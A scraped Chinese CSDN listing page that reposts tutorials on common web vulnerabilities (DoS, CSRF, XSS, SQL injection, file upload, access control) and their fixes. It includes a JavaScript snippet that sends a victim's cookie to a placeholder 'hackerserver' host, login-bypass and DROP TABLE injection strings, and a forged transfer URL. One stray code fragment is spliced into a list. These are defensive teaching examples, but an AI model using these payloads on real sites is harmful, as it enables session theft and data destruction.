web安全漏洞_web安全漏洞扫描 - CSDN
精华内容
参与话题
  • web常见安全漏洞

    万次阅读 2018-09-08 10:07:40
    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的...Web业务的迅速发展吸引了黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显。黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞...

    原文地址: https://www.cnblogs.com/yzycoder/p/5741507.html

    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。Web业务的迅速发展吸引了黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显。黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。这使得越来越多的用户关注应用层的安全问题,Web应用安全的关注度也逐渐升温。

    本文从目前比较常见攻击方式入手,对过去一些经典方式进行学习和总结,希望能让大家对Web的安全有更清晰的认识。在阅读本文之前,小伙伴们需要对HTTP和TCP协议、SQL数据库、JavaScript有所了解哦。
    废话不多说,下面开始我们的Web安全之旅吧!
    DoS和DDoS攻击
    DoS(Denial of Service),即拒绝服务,造成远程服务器拒绝服务的行为被称为DoS攻击。其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
    为了进一步认识DoS攻击,下面举个简单的栗子来进行说明:

    图1 TCP三次握手:数据段互换

    Client发送连接请求报文,Server接受连接后回复ACK报文,并为这次连接分配资源。Client接收到ACK报文后也向Server发送ACK报文,并分配资源,这样TCP连接就建立了。前两次握手,是为了保证服务端能收接受到客户端的信息并能做出正确的应答;后两次握手,是为了保证客户端能够接收到服务端的信息并能做出正确的应答。建立完TCP三次握手后,Client就可以和Web服务器进行通信了。
    在DoS攻击中,攻击者通过伪造ACK数据包,希望Server重传某些数据包,Server根据TCP重转机制,进行数据重传。攻击者利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。实现方式如下图:

    图2 攻击者伪造ACK数据包,发送大量的半连接请求

    Web服务器在未收到客户端的确认包时,会重发请求包一直到链接超时,才将此条目从未连接队列删除。攻击者再配合IP欺骗,SYN攻击会达到很好的效果。通常攻击者在短时间内伪造大量不存在的IP地址,向服务器不断地发送SYN包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN 请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
    SYN攻击的问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的,从而导致第三次握手无法完成。在这种情况下服务器端一般会重试,即再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级,大约为30秒到2分钟。一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,即数以万计的半连接,将会对服务器的CPU和内存造成极大的消耗。若服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃。实际上,就算服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,导致用户的正常请求失去响应。
    对于该类问题,我们可以做如下防范:
    第一种是缩短SYN Timeout时间,及时将超时请求丢弃,释放被占用CPU和内存资源。
    第二种是限制同时打开的SYN半连接数目,关闭不必要的服务。
    第三种方法是设置SYN Cookie,给每一个请求连接的IP地址分配一个Cookie。如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。
    一般来说,第三种方法在防范该类问题上表现更佳。同时可以在Web服务器端采用分布式组网、负载均衡、提升系统容量等可靠性措施,增强总体服务能力。
    DDoS(Distributed Denial of Service,分布式拒绝服务)是DoS攻击的一种方法。攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。DDoS的攻击策略侧重于通过很多“僵尸主机”,向受害主机发送大量看似合法的网络包,从而造成网络阻塞或服务器资源耗尽而导致拒绝服务。

    图3 DDoS攻击创建“僵尸主机”的过程

    从上图可知,DDOS是利用一批受控制的僵尸主机向一台服务器主机发起的攻击,其攻击的强度和造成的威胁要比DOS严重很多,更具破坏性。
    对于DDoS攻击,我们可以做如下防范:
    (1) 反欺骗:对数据包的地址及端口的正确性进行验证,同时进行反向探测。
    (2) 协议栈行为模式分析:每个数据包类型需要符合RFC规定,这就好像每个数据包都要有完整规范的着装,只要不符合规范,就自动识别并将其过滤掉。
    (3) 特定应用防护:非法流量总是有一些特定特征的,这就好比即便你混进了顾客群中,但你的行为还是会暴露出你的动机,比如老重复问店员同一个问题,老做同样的动作,这样你仍然还是会被发现的。
    (4) 带宽控制:真实的访问数据过大时,可以限制其最大输出的流量,以减少下游网络系统的压力。
    CSRF攻击CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击。下面先介绍一下CSRF攻击的原理。

    图4 CSRF攻击过程的示例图

    受害者用户登录网站A,输入个人信息,在本地保存服务器生成的cookie。攻击者构建一条恶意链接,例如对受害者在网站A的信息及状态进行操作,典型的例子就是转账。受害者打开了攻击者构建的网页B,浏览器发出该恶意连接的请求,浏览器发起会话的过程中发送本地保存的cookie到网址A,A网站收到cookie,以为此链接是受害者发出的操作,导致受害者的身份被盗用,完成攻击者恶意的目的。
    举个简单的例子来说明下CSRF的危害。用户登陆某银行网站,以Get请求的方式完成到另一银行的转账,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻击者可构造另一危险链接http://www.mybank.com/Transfer.php?toUserId=100&money=1000并把该链接通过一定方式发给受害者用户。受害者用户若在浏览器打开此链接,会将之前登陆后的cookie信息一起发送给银行网站,服务器在接收到该请求后,确认cookie信息无误,会完成改请求操作,造成攻击行为完成。攻击者可以构造CGI的每一个参数,伪造请求。这也是存在CSRF漏洞的最本质原因。
    对于CSRF攻击,我们可以做如下防范:
    (1) 验证码。应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制CSRF攻击。
    但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。
    (2) Referer Check。HTTP Referer是header的一部分,当浏览器向web服务器发送请求时,一般会带上Referer信息告诉服务器是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律,如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面,来判断是不是CSRF攻击。
    但在某些情况下如从https跳转到http,浏览器处于安全考虑,不会发送referer,服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞,那么攻击者可以在其他网站注入恶意脚本,受害者进入了此类同域的网址,也会遭受攻击。出于以上原因,无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。
    (3) Anti CSRF Token。目前比较完善的解决方案是加入Anti-CSRF-Token,即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token和cookie当中的token值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。
    这种方法相比Referer检查要安全很多,token可以在用户登陆后产生并放于session或cookie中,然后在每次请求时服务器把token从session或cookie中拿出,与本次请求中的token 进行比对。由于token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时,当某个页面消耗掉token后,其他页面的表单保存的还是被消耗掉的那个token,其他页面的表单提交时会出现token错误。
    XSS攻击
    XSS(Cross Site Scripting),跨站脚本攻击。为和层叠样式表(Cascading Style Sheets,CSS)区分开,跨站脚本在安全领域叫做“XSS”。恶意攻击者往Web页面里注入恶意Script代码,当用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取cookie信息、会话劫持等各种攻击。XSS是常见的Web攻击技术之一,由于跨站脚本漏洞易于出现且利用成本低,所以被OWASP列为当前的头号Web安全威胁。

    图5 XSS攻击过程的示例图

    XSS跨站脚本攻击本身对Web服务器没有直接的危害,它借助网站进行传播,使网站上大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。
    根据XSS攻击的效果,可以将XSS分为3类:
    (1) 反射型XSS(Non-persistent XSS),服务器接受客户端的请求包,不会存储请求包的内容,只是简单的把用户输入的数据“反射”给浏览器。例如:www.a.com?xss.php?name=

    。访问这个链接则会弹出页面的cookie内容,若攻击者把alert改为一个精心构造的发送函数,就可以把用户的cookie偷走。 (2) 存储型XSS(Persistent XSS),这类XSS攻击会把用户输入的数据“存储”在服务器端,具有很强的稳定性。注入脚本跟反射型XSS大同小异,只是脚本不是通过浏览器à服务器à浏览器这样的反射方式,而是多发生在富文本编辑器、日志、留言、配置系统等数据库保存用户输入内容的业务场景。即用户的注入脚本保存到了数据库里,其他用户进行访问涉及到包含恶意脚本的链接都会中招。由于这段恶意的脚本被上传保存到了服务器,这种XSS攻击就叫做“存储型XSS”。例如: 服务器端代码:
    <?php $db.set(‘name’, $_GET[‘name’]);?>

    HTML页面代码

    <?php echo ‘Hi,’ . $db.get[‘name’];?>

    图6 存储型XSS攻击过程的示例图

    (3) DOM based XSS(Document Object Model XSS),这类XSS攻击者将攻击脚本注入到DOM 结构里。出现该类攻击的大多原因是含JavaScrip静态HTML页面存在XSS漏洞。例如下面是一段存在DOM类型跨站脚本漏洞的代码:

    在JS中window.location.search是指URL中?之后的内容,document.write是将内容输出到页面。这时把链接换成http://localhost/test.php?default=
    那用户的cookie就被盗了。上面的例子只是很简单的一种,总结起来是使用了诸如document.write, innerHTML之类的渲染页面方法需要注意参数内容是否是可信任的。
    XSS攻击的危害,可以将XSS分为3类:
    (1) 窃取用户信息。黑客可以利用跨站脚本漏洞盗取用户cookie而得到用户在该站点的身份权限。如在DOM树上新增图片,用户点击后会将当前cookie发送到黑客服务器:
    vari=document.createElement(“img”);
    document.body.appendChild(i);
    i.src = “http://www.hackerserver.com/?c=” + document.cookie;
    (2) 劫持浏览器会话来执行恶意操作,如进行非法转账、强制发表日志或电子邮件等。
    (3) 强制弹广告页,刷流量和点击率。
    (4) 传播跨站脚本蠕虫。如著名的Samy (XSS)蠕虫攻击、新浪微博蠕虫攻击。
    对于XSS攻击,我们可以做如下防范:
    (1) 输入过滤。永远不要相信用户的输入,对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等。这样可以初步对XSS漏洞进行防御。
    上面的措施只在web端做了限制,攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制,修改请求注入攻击脚本。因此,后台服务器需要在接收到用户输入的数据后,对特殊危险字符进行过滤或者转义处理,然后再存储到数据库中。
    (2) 输出编码。服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范XSS攻击。在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。相应的JavaScript的编码方式可以使用JavascriptEncode。
    (3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作,同时要避免使用客户端数据,这些操作需尽量在服务器端使用动态页面来实现。
    (4) HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。
    (5)WAF(Web Application Firewall),Web应用防火墙,主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发,在企业环境中深受欢迎。
    SQL注入攻击
    SQL注入(SQL Injection),应用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)时,攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    在了解SQL注入前,我们先认识下常用的Web的四层架构图组成:

    图7 Web四层架构示例图

    SQL注入常见产生的原因有:
    (1) 转义字符处理不当。特别是输入验证和单引号处理不当。用户简单的在url页面输入一个单引号,就能快速识别Web站点是否易收到SQL注入攻击。
    (2) 后台查询语句处理不当。开发者完全信赖用户的输入,未对输入的字段进行判断和过滤处理,直接调用用户输入字段访问数据库。(3) SQL语句被拼接。攻击者构造精心设计拼接过的SQL语句,来达到恶意的目的。如构造语句:select * from users where userid=123; DROP TABLE users;直接导致user表被删除。
    SQL注入常见的注入方式有:
    (1) 内联SQL注入。向查询注入一些SQL代码后,原来的查询仍然会全部执行。内联SQL注入包含字符串内联SQL注入和数字内联SQL注入。注入方式如下图:

    图8 内联SQL注入示例图

    攻击者将精心构造的字符串或数字输入插入到SQL语句中,例如如下的用户登陆页面:

    图9 有SQL注入风险的用户登陆示例图

    (a) 攻击者可在username字段中注入 ’ or ‘1’=’1’ or ‘1’=’1,password保持为空:
    SELECT * FROM login_tbl WHERE username = ’ ’ or ‘1’=’1’ or ‘1’=’1’ AND userpwd= ’ ’
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (b) 攻击者可在password字段,输入’ or ‘1’=’1:
    SELECT * FROM login_tbl WHERE username = ’ ’ AND userpwd= ’ ’ or ‘1’=’1 ’
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (c) 攻击者可在username字段中注入 admin’ and 1=1 or ‘1’=’1:
    SELECT * FROM login_tbl WHERE username = ‘admin’ and ‘1’=’1’ or ‘1’=’1’ AND userpwd= ’ ’
    这样构造的SQL语句,服务器会返回admin用户登陆。
    常见的字符串内联注入的特征值如下:

    图10 字符串内联注入的特征值

    常见的数字值内联注入的特征值如下:

    图11 数字值内联注入的特征值

    (2) 终止式SQL注入。攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。注入方式如下图:

    图12 终止式SQL注入示例图

    攻击者将精心构造的字符串或数字输入插入到SQL语句中,例如图9的用户登陆页面:
    (a) 攻击者可在username字段中注入 ’ or 1=1; –,password保持为空:
    SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; – ’ and userpwd=”
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (b) 攻击者可在username字段中注入 admin’ –,或者admin’ #,password保持为空:
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –’ and userpwd=”
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=”
    这样构造的SQL语句,服务器会返回admin用户登陆。
    (c) 攻击者可在username字段中注入 admin’ /,password输入/’:
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /’ and userpwd=’/”
    这样构造的SQL语句,服务器会返回admin用户登陆。
    常见的终止式SQL注入的特征值如下:

    图13 终止式SQL注入的特征值

    对于SQL注入攻击,我们可以做如下防范:
    (1) 防止系统敏感信息泄露。设置php.ini选项display_errors=off,防止php脚本出错之后,在web页面输出敏感信息错误,让攻击者有机可乘。
    (2) 数据转义。设置php.ini选项magic_quotes_gpc=on,它会将提交的变量中所有的’(单引号),”(双引号),(反斜杠),空白字符等都在前面自动加上\。或者采用mysql_real_escape()函数或addslashes()函数进行输入参数的转义。
    (3) 增加黑名单或者白名单验证。白名单验证一般指,检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指,若在用户输入中,包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时,一般会配合黑名单验证。
    文件上传漏洞
    上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。
    文件上传漏洞的原理:由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
    对于文件上传漏洞攻击,我们可以做如下防范:
    (1)检查服务器是否判断了上传文件类型及后缀。
    (2) 定义上传文件类型白名单,即只允许白名单里面类型的文件上传。
    (3) 文件上传目录禁止执行脚本解析,避免攻击者进行二次攻击。
    Info漏洞
    Info漏洞就是CGI把输入的参数原样输出到页面,攻击者通过修改输入参数而达到欺骗用户的目的。

    Info漏洞存在的3个主要原因有:
    1)CGI参数可以在页面显示。
    2)返回的页面具有很强的欺骗性。
    3)该页面是对所有用户是公开,可访问的。
    Info漏洞的主要危害在于,若在访问量较大的公开页面,如网购、微博或新闻网站,发布反动的政治言论或其他色情词汇等。一方面会影响用户对网购业务的信心,同时也会给网站带来一些政治风险。另外,若是发布欺骗信息,如中奖、彩票等,也会对一些用户造成财产损失。
    对于Info漏洞攻击,将为常见的就是建立脏词库。
    即对于晒单,评论,昵称等可以被其他用户访问到的地方,进行脏词过滤。对用户的输入词汇,与脏词库中的词汇进行匹配,过滤掉有与脏词库相同的词汇。对于一些面向用户自己的,而其他用户不能看到的页面。可以不对其做脏词处理。
    介绍就到这里啦,我们一起来做个总结吧:Web安全是我们必须关注且无法逃避的话题,本文介绍了一些比较典型的安全问题和应对方案。例如对于SQL,XSS等注入式攻击,我们一定要对用户输入的内容进行严格的过滤和审查,这样可以避免绝大多数的注入式攻击方式。对于DoS攻击我们就需要使用各种工具和配置来减轻危害,另外容易被DDoS攻击的还有HTTPS服务,我们要做好特定的应用防护和用户行为模式分析。所以在日常的开发和测试过程中,我们要时常提醒自己,写出的代码有没有可能被人攻击?或者思考若我是一个攻击者,我该怎么做才可以达到我的攻击效果呢?只有这样知己知彼后,方可百战百胜!

    展开全文
  • 常见web安全漏洞修复方案(全面)

    千次阅读 2019-03-04 16:08:16
    第一章 SQL注入漏洞 第一节 漏洞介绍 概述:SQL注入攻击包括通过输入数据从客户端插入或“注入”SQL查询到应用程序。一个成功的SQL注入攻击可以从 数据库中获取敏感数据、修改数据库数据(插入/更新/删除)、执行...

    第一章 SQL注入漏洞

    第一节 漏洞介绍

    概述:SQL注入攻击包括通过输入数据从客户端插入或“注入”SQL查询到应用程序。一个成功的SQL注入攻击可以从 数据库中获取敏感数据、修改数据库数据(插入/更新/删除)、执行数据库管理操作 (如关闭数据库管理系统)、恢 复存在于数据库文件系统中的指定文件内容,在某些情况下能对操作系统发布命令。SQL注入攻击是一种注入攻击。 它将SQL命令注入到数据层输入,从而影响执行预定义的SQL命令。由于用户的输入,也是SQL语句的一部分,所以 攻击者可以利用这部分可以控制的内容,注入自己定义的语句,改变SQL语句执行逻辑,让数据库执行任意自己需要 的指令。通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接 获取数据库服务器的系统权限。

    潜在风险:高

    第二节 JAVA漏洞代码示例

    //拼接SQL语句,直接插入数据库查询

    第三节 修复建议

    使用参数化查询接口或在代码级对带入SQL语句中的外部参数进行转义或过滤:

    1. 对于整数,判断变量是否符合[0-9]的值;其他限定值,也可以进行合法性校验;

    2. 对于字符串,对SQL语句特殊字符进行转义(单引号转成两个单引号,双引号转成两个双引号)。

    第四节 JAVA修复建议

    1. 参数化查询(最佳修复方法)

    2. 过滤特殊字符,过滤的访问为所有用户输入的数据

    GET、POST的参数

    表单的参数

    http头的参数

    UA、X-FORWARD-FOR、Content-type等可以修改的字段

    JSON类型的参数

    在web.xml 配置拦截器

    过滤器SqlFilter.java

     

     3. 若使用框架,对应的框架可能存在相应的防注入方法

    第二章 XSS漏洞

    第一节 漏洞介绍

    描述:当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的验证或转义 (escape),就会导致跨站脚本漏洞。攻击者通常会利用XSS漏洞来安装键盘记录器、窃取受害者的cookie、窃取剪 贴板内容、改变网页内容(例如,下载链接)等。有三种已知的跨站漏洞类型:1)存储式;2)反射式;3)基于 DOM的XSS。

    (一) 反射型跨站脚本:攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览 器会执行页面中嵌入的恶意脚本;

    (二) 存储型跨站脚本:攻击者利用web应用程序提供的输入或修改数据功能,将数据存储到服务器或用户cookie中, 当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击;

    (三) DOM跨站攻击:由于html页面中,定义了一段JS,根据用户的输入,显示一段html代码,攻击者可以在输入 时,插入一段恶意脚本,最终展示时,会执行恶意脚本;

    (四)DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用JAVASCRIPT,才可以防 御。

    恶意攻击者可以利用跨站脚本攻击做到: 

    (一) 盗取用户cookie,伪造用户身份登录;

    (二) 控制用户浏览器;

    (三) 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行;

    (四) 衍生URL跳转漏洞; // TODO Auto-generated method stub config = fConfig; } } //Hibernate String queryStr = "from user where username=:username "+"password=:password"; List result = session.createQuery(queryStr).setString("username",username).setString("password", password).list(); //Mybatis 参数拼接使用#{},而不是使用${} SELECT id,title,author,content FROM blog WHERE id=#{id}

    (五) 让官方网站出现钓鱼页面;

    (六) 蠕虫攻击。

    第二节 JAVA漏洞代码示例

    变量name被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户 可控数据”当成JS/VBS脚本执行,或页面元素被“用户可控数据”插入的页面HTML代码控制,从而造成攻击。

    第三节 修复建议

    1. 对参数做html转义过滤(要过滤的字符包括:单引号、双引号、大于号、小于号,&符号),防止脚本执行。 在变量输出时进行HTML ENCODE 处理。

    2. JAVA应用可以使用org.apache.commons.lang3.StringEscapeUtils.escapeHtml4对用户参数进行编码

    3. 启用COOKIE的httponly属性。 

    第四节 JAVA修复示例

    1. 输出转义(最佳修复方法)

    2. 输入过滤,可以参考SQL注入利用过滤器的方式,但该方法不推荐。

    3. 富文本框的XSS修复方法,利用Jsoup的包,对文本输入的标签做限制 

    第三章 CSRF漏洞

    第一节 漏洞介绍

    描述:用户以当前身份浏览到flash或者恶意网站时,JS/flash可以迫使用户浏览器向任意CGI发起请求,此请求包含 用户身份标识,CGI如无限制则会以用户身份进行操作。如:以用户身份发起的转账请求等。CSRF攻击可以从站外和 站内发起。从站内发起CSRF攻击,需要利用网站本身的业务,比如“自定义头像”功能,恶意用户指定自己的头像URL 是一个修改用户信息的链接,当其他已登录用户浏览恶意用户头像时,会自动向这个链接发送修改信息请求。从站外 发送请求,则需要恶意用户在自己的服务器上,放一个自动提交修改个人信息的htm页面,并把页面地址发给受害者 用户,受害者用户打开时,会发起一个请求。如果恶意用户能够知道网站管理后台某项功能的URL,就可以直接攻击 管理员,强迫管理员执行恶意用户定义的操作。

    潜在危险:中

    第二节 JAVA漏洞代码示例

    代码中接收用户提交的参数“passwordOld、passwordNew”,之后修改了该用户的密码,一旦接收到一个用户发来 的请求,就执行此操作。

    提交表单代码:

    当用户点提交时,就会触发修改操作。

    第三节 修复建议

    第一种修复方法:(推荐) 添加随机TOKEN,实现方式如下:

    1. 在用户登陆时,设置一个CSRF的随机TOKEN,同时种植在用户的cookie (session)中,当用户浏览器关闭、或 用户再次登录、或退出时,清除token;

    2. 在表单中,生成一个隐藏域,它的值就是COOKIE (session)中随机TOKEN;

    3. 表单被提交后,就可以在接收用户请求的web应用中,判断表单中的TOKEN值是否和用户COOKIE (session)中 的TOKEN值一致,如果不一致或没有这个值,就判断为CSRF攻击,同时记录攻击日志。由于攻击者无法预测每 一个用户登录时生成的那个随机TOKEN值,所以无法伪造这个参数。 

    第二种修复方法:

    验证referer,判断referer是否从表单页面跳转过来。

    第四节 JAVA修复示例

    1.配置过滤,验证referer

    2.配置过滤器,验证TOKEN

     

    第四章 文件上传漏洞

    第一节 漏洞介绍

     描述:Web应用程序在处理用户上传的文件时,没有判断文件的扩展名是否在允许的范围内,就把文件保存在服务器 上,导致恶意用户可以上传任意文件,甚至上传脚本木马到web服务器上,直接控制web服务器。

    第二节 JAVA漏洞代码示例

    第三节 修复建议

    处理用户上传文件,要做以下检查:

    1. 检查上传文件扩展名白名单,不属于白名单内,不允许上传;

    2. 上传文件的目录必须是http请求无法直接访问到的。如果需要访问的,必须上传到其他(和web服务器不同 的)域名下,并设置该目录为不解析php、jsp等脚本语言的目录;

    3. 上传文件要保存的文件名和目录名由系统根据时间随机生成,不允许用户自定义;

    4. 图片上传,要通过处理(缩略图、水印等),或通过图片读取函数判断无异常后才能保存到服务器;

    5. 上传文件需要做日志记录 

    第四节 JAVA修复示例

    第五章 文件下载漏洞

    第一节 漏洞介绍

    描述:处理用户请求下载文件时,允许用户提交任意文件路径,并把服务器上对应的文件直接发送给用户,这将造成 任意文件下载威胁。如果让用户提交文件目录地址,就把目录下的文件列表发给用户,会造成目录遍历安全威胁。 恶意用户会变换目录或文件地址,下载服务器上的敏感文件、数据库链接配置文件、网站源代码等。

    潜在危险:高

    第二节 JAVA漏洞代码示例

    第三节 修复建议

     对文件操作功能,做到以下几点:

    1. 要下载的文件地址保存至数据库中;

    2. 文件路径保存至数据库,让用户提交文件对应ID下载文件;

    3. 下载文件之前做权限判断;

    4. 文件放在web无法直接访问的目录下;

    5. 记录文件下载日志;

    6. 不允许提供目录遍历服务。

    第四节 JAVA修复示例

     或者

    第六章 命令执行漏洞

    第一节 漏洞介绍

    描述:web应用代码中,允许接收用户输入一段代码,之后在web应用服务器上执行这段代码,并返回给用户。 由于用户可以自定义输入一段代码,在服务器上执行,所以恶意用户可以写一个远程控制木马,直接获取服务器控制 权限,所有服务器上的资源都会被恶意用户获取和修改,甚至可以直接控制数据库。

    潜在危险:高 

    第二节 JAVA漏洞代码示例

    第三节 修复建议

    所有需要执行的系统命令,必须是预先定义好的,不允许接收用户传来的参数,加入到系统命令中去。

    第四节 JAVA修复示例

    第七章 URL跳转漏洞

    第一节 漏洞介绍

     描述:某些页面由于功能需要需要进行页面跳转,如果没有对跳转的目的页面做检查,恶意攻击者可以发送给用户一 个伪装的链接,安全意识较低的用户很可能会以为该链接展现的内容是公司站点的,从而信任此站点。但是用户打开 后,跳转至钓鱼网站页面,将会导致用户被钓鱼攻击,账号被盗,或账号相关财产被盗。

    潜在危险:中

    第二节 JAVA漏洞代码示例

    第三节 修复建议

    为了保证用户所点击的URL,是从web应用程序中生成的URL,所以要做TOKEN验证: 1. 当用户访问需要生成跳转URL的页面时,首先生成随机token,并放入cookie; 2. 在显示连接的页面上生成URL,在URL参数中加入token; 3. 应用程序在跳转前,判断token是否和cookie中的token一致,如果不一致,就判定为URL跳转攻击,并记录日 志(日志内容见“Error Handing and Logging”章节); 4. 如果在javascript中做页面跳转,需要判断域名白名单后,才能跳转; 5. 如果应用只有跳转到公司网站的需求,可以设置白名单,判断目的地址是否在白名单列表中,如果不在列表 中,就判定为URL跳转攻击,并记录日志,不允许配置集团以外网站到白名单列表中。

    第四节 JAVA修复示例

    第八章 水平权限攻击

    第一节 漏洞介绍

    描述:Web应用程序接收到用户请求,对用户数据进行CRUD(增加、读取、更新和删除)操作时,没有判断数据的所 属人,或数据所属人userid直接从用户提交的request参数(用户可控数据)中获取,导致恶意攻击者可以通过变换 数据ID或所属人userid,从而越权获取或修改其他人数据。

    潜在危险:高 

    第二节 JAVA漏洞代码示例

    第三节 修复建议

    (一)检查提交CRUD请求的操作者(通过session信息得到)与目标对象的权限所有者(查数据库)是否一致,如 果不一致则阻断。从session中获取当前登录用户的userid,并且需要在执行的SQL语句中,加入当前用户userid作 为条件语句。

    (二)将数据ID改成一个具有一定长度的随机字符串。

    第四节 Java修复示例

     第九章 垂直权限攻击

    第一节 漏洞介绍

    描述:垂直权限攻击即低权限用户越权利用更高权限用户的功能实现权限提升攻击,是由于web应用程序没有做权限 控制,或仅仅在菜单上做了权限控制,导致的恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥 有的数据或页面,达到权限提升目的。这个威胁可能导致普通用户变成管理员权限。

    潜在危险:高

    第二节 JAVA漏洞代码

    一个仅仅做了菜单控制的代码:

    第三节 修复建议

    1. 在打开管理页面URL或者请求接口时,首先判断当前用户是否拥有该页面的权限,如果没有权限,就判定为攻 击拒绝访问; 2. 使用ESAPI框架进行安全开发

    第十章 服务器应用错误页面信息泄露

    第一节 漏洞介绍

    描述:服务器应用错误页面信息泄露是指服务器应用默认配置了错误页面,默认的错误页面泄露了服务器应用的版本 信息,有时候应用程序的报错,也会直接调用默认的错误页面,导致程序的错误信息也会泄露出来。

    潜在危险:低 

    第二节 默认错误配置页面

    tomcat的错误页面: 500页面

    404页面

    第三节 修复建议

    Tomcat的修复方法 :

    1.新建一个error.html ,保存在webapps/ROOT/下 

    2.修改tomcat配置下$CATALINA_HOME/conf/web.xml文件

    nginx的配置方法

    1. 参考tomcat的修复中的第一步,新建一个报错的error.html

    2. 修改nginx.conf文件或者网站的配置文件,在server节点配置一下内容,把常见的错误码,全部指定到404页 面。root节点是404.html页面绝对路径地址 

    展开全文
  • 根据机构调研,目前安全问题80%都发生在...本课程中,从web安全漏洞原理、攻击手段、测试方法、预防措施四个方面全面剖析WEB安全的点点滴滴,针对开发人员、测试人员、运维人员、网络工程师都能够起到一定的指导意义。
  • 常见Web安全漏洞及防御

    千次阅读 2020-07-07 11:07:31
